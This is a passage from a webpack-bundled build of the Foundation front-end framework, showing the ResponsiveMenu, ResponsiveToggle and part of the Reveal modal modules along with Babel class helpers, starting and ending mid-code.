525onstructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, "prototype", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } else if (call !== void 0) { throw new TypeError("Derived constructors may only return object or undefined"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n\nvar MenuPlugins = {\n  dropdown: {\n    cssClass: \'dropdown\',\n    plugin: _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__.DropdownMenu\n  },\n  drilldown: {\n    cssClass: \'drilldown\',\n    plugin: _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__.Drilldown\n  },\n  accordion: {\n    cssClass: \'accordion-menu\',\n    plugin: _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__.AccordionMenu\n  }\n};\n\n// import "foundation.util.triggers.js";\n\n/**\n * ResponsiveMenu module.\n * @module foundation.responsiveMenu\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n */\nvar ResponsiveMenu = /*#__PURE__*/function (_Plugin) {\n  _inherits(ResponsiveMenu, _Plugin);\n  var _super = _createSuper(ResponsiveMenu);\n  function ResponsiveMenu() {\n    _classCallCheck(this, ResponsiveMenu);\n    return _super.apply(this, arguments);\n  }\n  _createClass(ResponsiveMenu, [{\n    key: "_setup",\n    value:\n    /**\n     * Creates a new instance of a responsive menu.\n     * @class\n     * @name ResponsiveMenu\n     * @fires ResponsiveMenu#init\n     * @param {jQuery} element - jQuery object to make into a dropdown menu.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element) {\n      this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n      this.rules = this.$element.data(\'responsive-menu\');\n      this.currentMq = null;\n      this.currentPlugin = null;\n      this.className = \'ResponsiveMenu\'; // ie9 back compat\n\n      this._init();\n      this._events();\n    }\n\n    /**\n     * Initializes the Menu by parsing the classes from the \'data-ResponsiveMenu\' attribute on the element.\n     * @function\n     * @private\n     */\n  }, {\n    key: "_init",\n    value: function _init() {\n      _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery._init();\n      // The first time an Interchange plugin is initialized, this.rules is converted from a string of "classes" to an object of rules\n      if (typeof this.rules === \'string\') {\n        var rulesTree = {};\n\n        // Parse rules from "classes" pulled from data attribute\n        var rules = this.rules.split(\' \');\n\n        // Iterate through every rule found\n        for (var i = 0; i < rules.length;
525 i++) {\n          var rule = rules[i].split(\'-\');\n          var ruleSize = rule.length > 1 ? rule[0] : \'small\';\n          var rulePlugin = rule.length > 1 ? rule[1] : rule[0];\n          if (MenuPlugins[rulePlugin] !== null) {\n            rulesTree[ruleSize] = MenuPlugins[rulePlugin];\n          }\n        }\n        this.rules = rulesTree;\n      }\n      if (!jquery__WEBPACK_IMPORTED_MODULE_0___default().isEmptyObject(this.rules)) {\n        this._checkMediaQueries();\n      }\n      // Add data-mutate since children may need it.\n      this.$element.attr(\'data-mutate\', this.$element.attr(\'data-mutate\') || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.GetYoDigits)(6, \'responsive-menu\'));\n    }\n\n    /**\n     * Initializes events for the Menu.\n     * @function\n     * @private\n     */\n  }, {\n    key: "_events",\n    value: function _events() {\n      var _this = this;\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', function () {\n        _this._checkMediaQueries();\n      });\n      // $(window).on(\'resize.zf.ResponsiveMenu\', function() {\n      //   _this._checkMediaQueries();\n      // });\n    }\n\n    /**\n     * Checks the current screen width against available media queries. If the media query has changed, and the plugin needed has changed, the plugins will swap out.\n     * @function\n     * @private\n     */\n  }, {\n    key: "_checkMediaQueries",\n    value: function _checkMediaQueries() {\n      var matchedMq,\n        _this = this;\n      // Iterate through each rule and find the last matching rule\n      jquery__WEBPACK_IMPORTED_MODULE_0___default().each(this.rules, function (key) {\n        if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery.atLeast(key)) {\n          matchedMq = key;\n        }\n      });\n\n      // No match? No dice\n      if (!matchedMq) return;\n\n      // Plugin already initialized? We good\n      if (this.currentPlugin instanceof this.rules[matchedMq].plugin) return;\n\n      // Remove existing plugin-specific CSS classes\n      jquery__WEBPACK_IMPORTED_MODULE_0___default().each(MenuPlugins, function (key, value) {\n        _this.$element.removeClass(value.cssClass);\n      });\n\n      // Add the CSS class for the new plugin\n      this.$element.addClass(this.rules[matchedMq].cssClass);\n\n      // Create an instance of the new plugin\n      if (this.currentPlugin) this.currentPlugin.destroy();\n      this.currentPlugin = new this.rules[matchedMq].plugin(this.$element, {});\n    }\n\n    /**\n     * Destroys the instance of the current plugin on this element, as well as the window resize handler that switches the plugins out.\n     * @function\n     */\n  }, {\n    key: "_destroy",\n    value: function _destroy() {\n      this.currentPlugin.destroy();\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'.zf.ResponsiveMenu\');\n    }\n  }]);\n  return ResponsiveMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__.Plugin);\nResponsiveMenu.defaults = {};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.responsiveMenu.js?')},"./js/foundation.responsiveToggle.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   ResponsiveToggle: function() { return /* binding */ ResponsiveToggle; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\nfunction _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, "string");
525 return _typeof(key) === "symbol" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== "object" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || "default"); if (_typeof(res) !== "object") return res; throw new TypeError("@@toPrimitive must return a primitive value."); } return (hint === "string" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, "prototype", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } else if (call !== void 0) { throw new TypeError("Derived constructors may only return object or undefined"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n/**\n * ResponsiveToggle module.\n * @module foundation.responsiveToggle\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion\n */\nvar ResponsiveToggle = /*#__PURE__*/function (_Plugin) {\n  _inherits(ResponsiveToggle, _Plugin);\n  var _super = _createSuper(ResponsiveToggle);\n  function ResponsiveToggle() {\n    _classCallCheck(this, ResponsiveToggle);\n    return _super.apply(this, arguments);\n  }\n  _createClass(ResponsiveToggle, [{\n    key: "_setup",\n    value:\n    /**\n     * Creates a new instance of Tab Bar.\n     * @class\n     * @name ResponsiveToggle\n     * @fires ResponsiveToggle#init\n     * @param {jQuery} element - jQuery object to attach tab bar functionality to.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, ResponsiveToggle.defaults, this.$element.data(), options);\n      this.className = \'ResponsiveToggle\'; // ie9 back compat\n\n      this._init();\n      this._events();\n    }\n\n    /**\n     * Initializes the tab bar by finding the target element, toggling element, and running update().\n     * @function\n     * @private\n     */\n  }, {\n    key: "_init",\n    value: function _init() {\n      _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery._init();\n      var targetID = this.$element.data(\'responsive-toggle\');\n      if (!targetID) {\n        console.error(\'Your tab bar needs an ID of a Menu as the value of data-tab-bar.\');\n      }\n      this.$targetMenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()("#".concat(targetID));\n      this.$toggler = this.$element.find(\'[data-toggle]\').filter(function () {\n        var target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data(\'toggle\');\n        return target === targetID || target === "";\n      });\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, this.options, this.$targetMenu.data());\n\n      // If they were set, parse the animation classes\n      if (this.options.animate) {\n        var input = this.options.animate.split(\' \');\n        this.animationIn = input[0];\n        this.animationOut = input[1] || null;\n      }\n      this._update();\n    }\n\n    /**\n     * Adds necessary event handlers for the tab bar to work.\n     * @function\n     * @private\n     */\n  }, {\n    key: "_events",\n    value: function _events() {\n      this._updateMqHandler = this._update.bind(this);\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', this._updateMqHandler);\n      this.$toggler.on(\'click.zf.responsiveToggle\', this.toggleMenu.bind(this));\n    }\n\n    /**\n     * Checks the current media query to determine if the tab bar should be visible or hidden.\n     * @function\n     * @private\n     */\n  }, {\n    key: "_update",\n    value: function _update() {\n      // Mobile\n      if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery.atLeast(this.options.hideFor)) {\n        this.$element.show();\n        this.$targetMenu.hide();\n      }\n\n      // Desktop\n      else {\n        this.$element.hide();\n        this.$targetMenu.show();\n      }\n    }\n\n    /**\n     * Toggles the element attached to the tab bar. The toggle only happens if the screen is small enough to allow it.\n     * @function\n     * @fires ResponsiveToggle#toggled\n     */\n  }, {\n    key: "toggleMenu",\n    value: function toggleMenu() {\n      var _this = this;\n      if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery.atLeast(this.options.hideFor)) {\n        /**\n         * Fires when the element attached to the tab bar toggles.\
525n         * @event ResponsiveToggle#toggled\n         */\n        if (this.options.animate) {\n          if (this.$targetMenu.is(\':hidden\')) {\n            _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__.Motion.animateIn(this.$targetMenu, this.animationIn, function () {\n              _this.$element.trigger(\'toggled.zf.responsiveToggle\');\n              _this.$targetMenu.find(\'[data-mutate]\').triggerHandler(\'mutateme.zf.trigger\');\n            });\n          } else {\n            _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__.Motion.animateOut(this.$targetMenu, this.animationOut, function () {\n              _this.$element.trigger(\'toggled.zf.responsiveToggle\');\n            });\n          }\n        } else {\n          this.$targetMenu.toggle(0);\n          this.$targetMenu.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n          this.$element.trigger(\'toggled.zf.responsiveToggle\');\n        }\n      }\n    }\n  }, {\n    key: "_destroy",\n    value: function _destroy() {\n      this.$element.off(\'.zf.responsiveToggle\');\n      this.$toggler.off(\'.zf.responsiveToggle\');\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'changed.zf.mediaquery\', this._updateMqHandler);\n    }\n  }]);\n  return ResponsiveToggle;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__.Plugin);\nResponsiveToggle.defaults = {\n  /**\n   * The breakpoint after which the menu is always shown, and the tab bar is hidden.\n   * @option\n   * @type {string}\n   * @default \'medium\'\n   */\n  hideFor: \'medium\',\n  /**\n   * To decide if the toggle should be animated or not.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  animate: false\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.responsiveToggle.js?')},"./js/foundation.reveal.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Reveal: function() { return /* binding */ Reveal; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\n/* harmony import */ var _foundation_util_touch__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./foundation.util.touch */ \"./js/foundation.util.touch.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n\n\n\n/**\n * Reveal module.\n * @module foundation.reveal\n * @requires foundation.util.keyboard\n * @requires foundation.util.touch\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion if using animations\n */\nvar Reveal = /*#__PURE__*/function (_Plugin) {\n  _inherits(Reveal, _Plugin);\n  var _super = _createSuper(Reveal);\n  function Reveal() {\n    _classCallCheck(this, Reveal);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Reveal, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of Reveal.\n     * @class\n     * @name Reveal\n     * @param {jQuery} element - jQuery object to use for the modal.\n     * @param {Object} options - optional parameters.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Reveal.defaults, this.$element.data(), options);\n      this.className = 'Reveal'; // ie9 back compat\n      this._init();\n\n      // Touch and Triggers init are idempotent, just need to make sure they are initialized\n      _foundation_util_touch__WEBPACK_IMPORTED_MODULE_7__.Touch.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__.Triggers.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.register('Reveal', {\n        'ESCAPE': 'close'\n      });\n    }\n\n    /**\n     * Initializes the modal by adding the overlay and close buttons, (if selected).\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      var _this2 = this;\n      _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_4__.MediaQuery._init();\n      this.id = this.$element.attr('id');\n      this.isActive = false;\n      this.cached = {\n        mq: _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_4__.MediaQuery.current\n      };\n      this.$anchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")).length ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-toggle=\\\"\".concat(this.id, \"\\\"]\"));\n      this.$anchor.attr({\n        'aria-controls': this.id,\n        'aria-haspopup': 'dialog',\n        'tabindex': 0\n      });\n      if (this.options.fullScreen || this.$element.hasClass('full')) {\n        this.options.fullScreen = true;
525\n        this.options.overlay = false;\n      }\n      if (this.options.overlay && !this.$overlay) {\n        this.$overlay = this._makeOverlay(this.id);\n      }\n      this.$element.attr({\n        'role': 'dialog',\n        'aria-hidden': true,\n        'data-yeti-box': this.id,\n        'data-resize': this.id\n      });\n      if (this.$overlay) {\n        this.$element.detach().appendTo(this.$overlay);\n      } else {\n        this.$element.detach().appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo));\n        this.$element.addClass('without-overlay');\n      }\n      this._events();\n      if (this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n        this.onLoadListener = (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.onLoad)(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n          return _this2.open();\n        });\n      }\n    }\n\n    /**\n     * Creates an overlay div to display behind the modal.\n     * @private\n     */\n  }, {\n    key: \"_makeOverlay\",\n    value: function _makeOverlay() {\n      var additionalOverlayClasses = '';\n      if (this.options.additionalOverlayClasses) {\n        additionalOverlayClasses = ' ' + this.options.additionalOverlayClasses;\n      }\n      return jquery__WEBPACK_IMPORTED_MODULE_0___default()('<div></div>').addClass('reveal-overlay' + additionalOverlayClasses).appendTo(this.options.appendTo);\n    }\n\n    /**\n     * Updates position of modal\n     * TODO:  Figure out if we actually need to cache these values or if it doesn't matter\n     * @private\n     */\n  }, {\n    key: \"_updatePosition\",\n    value: function _updatePosition() {\n      var width = this.$element.outerWidth();\n      var outerWidth = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).width();\n      var height = this.$element.outerHeight();\n      var outerHeight = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height();\n      var left,\n        top = null;\n      if (this.options.hOffset === 'auto') {\n        left = parseInt((outerWidth - width) / 2, 10);\n      } else {\n        left = parseInt(this.options.hOffset, 10);\n      }\n      if (this.options.vOffset === 'auto') {\n        if (height > outerHeight) {\n          top = parseInt(Math.min(100, outerHeight / 10), 10);\n        } else {\n          top = parseInt((outerHeight - height) / 4, 10);\n        }\n      } else if (this.options.vOffset !== null) {\n        top = parseInt(this.options.vOffset, 10);\n      }\n      if (top !== null) {\n        this.$element.css({\n          top: top + 'px'\n        });\n      }\n\n      // only worry about left if we don't have an overlay or we have a horizontal offset,\n      // otherwise we're perfectly in the middle\n      if (!this.$overlay || this.options.hOffset !== 'auto') {\n        this.$element.css({\n          left: left + 'px'\n        });\n        this.$element.css({\n          margin: '0px'\n        });\n      }\n    }\n\n    /**\n     * Adds event handlers for the modal.\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      var _this3 = this;\n      var _this = this;\n      this.$element.on({\n        'open.zf.trigger': this.open.bind(this),\n        'close.zf.trigger': function closeZfTrigger(event, $element) {\n          if (event.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default()(event.target).parents('[data-closable]')[0] === $element) {\n            // only close reveal when it's explicitly called\n            return _this3.close.apply(_this3);\n          }\n        },\n        'toggle.zf.trigger': this.toggle.bind(this),\n        'resizeme.zf.trigger': function resizemeZfTrigger() {\n          _this._updatePosition();\n        }\n      });\n      if (this.options.closeOnClick && this.options.overlay) {\n        this.$overlay.off('.zf.reveal').on('click.zf.dropdown tap.zf.dropdown', function (e) {\n          if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default().contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default().contains(document, e.target)) {\n            return;\n          }\n          _this.close();\n        });\n      }
525\n      if (this.options.deepLink) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\"hashchange.zf.reveal:\".concat(this.id), this._handleState.bind(this));\n      }\n    }\n\n    /**\n     * Handles modal methods on back/forward button clicks or any other event that triggers hashchange.\n     * @private\n     */\n  }, {\n    key: \"_handleState\",\n    value: function _handleState() {\n      if (window.location.hash === '#' + this.id && !this.isActive) {\n        this.open();\n      } else {\n        this.close();\n      }\n    }\n\n    /**\n    * Disables the scroll when Reveal is shown to prevent the background from shifting\n    * @param {number} scrollTop - Scroll to visually apply, window current scroll by default\n    */\n  }, {\n    key: \"_disableScroll\",\n    value: function _disableScroll(scrollTop) {\n      scrollTop = scrollTop || jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop();\n      if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", -scrollTop);\n      }\n    }\n\n    /**\n    * Reenables the scroll when Reveal closes\n    * @param {number} scrollTop - Scroll to restore, html \"top\" property by default (as set by `_disableScroll`)\n    */\n  }, {\n    key: \"_enableScroll\",\n    value: function _enableScroll(scrollTop) {\n      scrollTop = scrollTop || parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"), 10);\n      if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", \"\");\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop(-scrollTop);\n      }\n    }\n\n    /**\n     * Opens the modal controlled by `this.$anchor`, and closes all others by default.\n     * @function\n     * @fires Reveal#closeme\n     * @fires Reveal#open\n     */\n  }, {\n    key: \"open\",\n    value: function open() {\n      var _this4 = this;\n      // either update or replace browser history\n      var hash = \"#\".concat(this.id);\n      if (this.options.deepLink && window.location.hash !== hash) {\n        if (window.history.pushState) {\n          if (this.options.updateHistory) {\n            window.history.pushState({}, '', hash);\n          } else {\n            window.history.replaceState({}, '', hash);\n          }\n        } else {\n          window.location.hash = hash;\n        }\n      }\n\n      // Remember anchor that opened it to set focus back later, have general anchors as fallback\n      this.$activeAnchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement).is(this.$anchor) ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement) : this.$anchor;\n      this.isActive = true;\n\n      // Make elements invisible, but remove display: none so we can get size and positioning\n      this.$element.css({\n        'visibility': 'hidden'\n      }).show().scrollTop(0);\n      if (this.options.overlay) {\n        this.$overlay.css({\n          'visibility': 'hidden'\n        }).show();\n      }\n      this._updatePosition();\n      this.$element.hide().css({\n        'visibility': ''\n      });\n      if (this.$overlay) {\n        this.$overlay.css({\n          'visibility': ''\n        }).hide();\n        if (this.$element.hasClass('fast')) {\n          this.$overlay.addClass('fast');\n        } else if (this.$element.hasClass('slow')) {\n          this.$overlay.addClass('slow');\n        }\n      }\n      if (!this.options.multipleOpened) {\n        /**\n         * Fires immediately before the modal opens.\n         * Closes any other modals that are currently open\n         * @event Reveal#closeme\n         */\n        this.$element.trigger('closeme.zf.reveal', 